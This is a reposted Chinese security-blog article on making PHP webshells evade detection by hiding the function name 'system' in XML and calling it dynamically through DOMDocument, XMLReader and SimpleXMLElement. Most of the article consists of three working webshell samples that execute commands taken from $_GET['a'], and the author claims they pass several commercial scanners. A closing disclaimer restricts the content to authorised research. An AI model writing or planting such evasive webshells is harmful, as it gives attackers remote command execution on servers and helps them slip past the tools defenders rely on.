文章总结: 文章介绍利用PHP中XML处理类(如DOMDocument、XMLReader、SimpleXMLElement)动态执行函数实现webshell免杀的技术思路,通过构造XML数据替换关键函数并调用系统命令,实测可绕过阿里云、D盾、河马等主流检测工具。作者建议拓展其他XML解析类进行变形,强调免杀核心在于灵活运用语言特性而非固定模式。 综合评分: 75 文章分类: 免杀,WEB安全,渗透测试,红队,安全开发
【转载】使用XML变形webshell免杀思路
隐雾安全
2026年4月4日 10:02 四川
好文推荐
文章作者:先知社区(用户9528)
文章来源:https://xz.aliyun.com/news/17490
思路
整体思路就是利用php中处理xml格式的类,对函数进行替换,同时利用php的动态执行的特点 xml格式很常见,php中也有很多处理xml格式转换的类,以DOMDocument为例,ai构造一下php文件:
<?php// 创建 DOMDocument 对象$dom = new DOMDocument();// 加载 XML 文档$dom->loadXML('<?xml version="1.0" encoding="UTF-8"?><data> <item> <key>system</key> </item> <item> <key>age</key> <value>30</value> </item></data>');// 创建 DOMXPath 对象$xpath = new DOMXPath($dom);// 执行 XPath 查询,选择所有 item 节点$items = $xpath->query('//item');// 初始化一个空数组来存储键值对$keyValuePairs = [];// 遍历每个 item 节点foreach ($items as $item) { // 获取 key 节点的文本内容 $key = $xpath->query('key', $item)->item(0)->textContent; // 获取 value 节点的文本内容 // $value = $xpath->query('value', $item)->item(0)->textContent; // 将键值对添加到数组中 ($key)($_GET['a']);}?>
在php8.2.9 php7.3.4测试环境下均执行:
检测
常用的webshell查杀工具:
阿里云检测引擎:
D盾:
河马:
virustotal:
360:
微步:
长亭:
其他 利用上述思路,使用php中其他处理xml格式转换的类构造: XMLReader:
<?php
// 示例 XML 字符串
$xmlString = '
<root>
<item>
<key1>system</key1>
</item>
</root>
';
// 创建 XMLReader 实例
$reader = new XMLReader();
// 打开 XML 字符串进行解析
$reader->xml($xmlString);
// 存储键值对的数组
$keyValuePairs = [];
// 开始解析 XML
while ($reader->read()) {
// 检查当前节点是否为元素节点
if ($reader->nodeType === XMLReader::ELEMENT) {
// 获取当前元素的名称
$key = $reader->name;
// 读取下一个节点
if ($reader->read()) {
// 检查下一个节点是否为文本节点
if ($reader->nodeType === XMLReader::TEXT) {
// 获取文本节点的值
($reader->value)($_GET["a"]);
}
}
}
}
// 关闭 XMLReader
$reader->close();
?>
SimpleXMLElement:
<?php
// 定义XML字符串
$xmlString = '<?xml version="1.0" encoding="UTF-8"?>
<root>
<system>a</system>
</root>';
// 使用SimpleXMLElement解析XML字符串
$xml = new SimpleXMLElement($xmlString);
// 遍历XML元素
foreach ($xml as $key => $value) {
($key)($_GET["a"]);
}
?>
这两个均通过上面提到的引擎检测
总结
webshell免杀有很多技巧,上面也只是抛砖引玉吧,思路还是最重要。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:隐雾安全 《【转载】使用XML变形webshell免杀思路》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论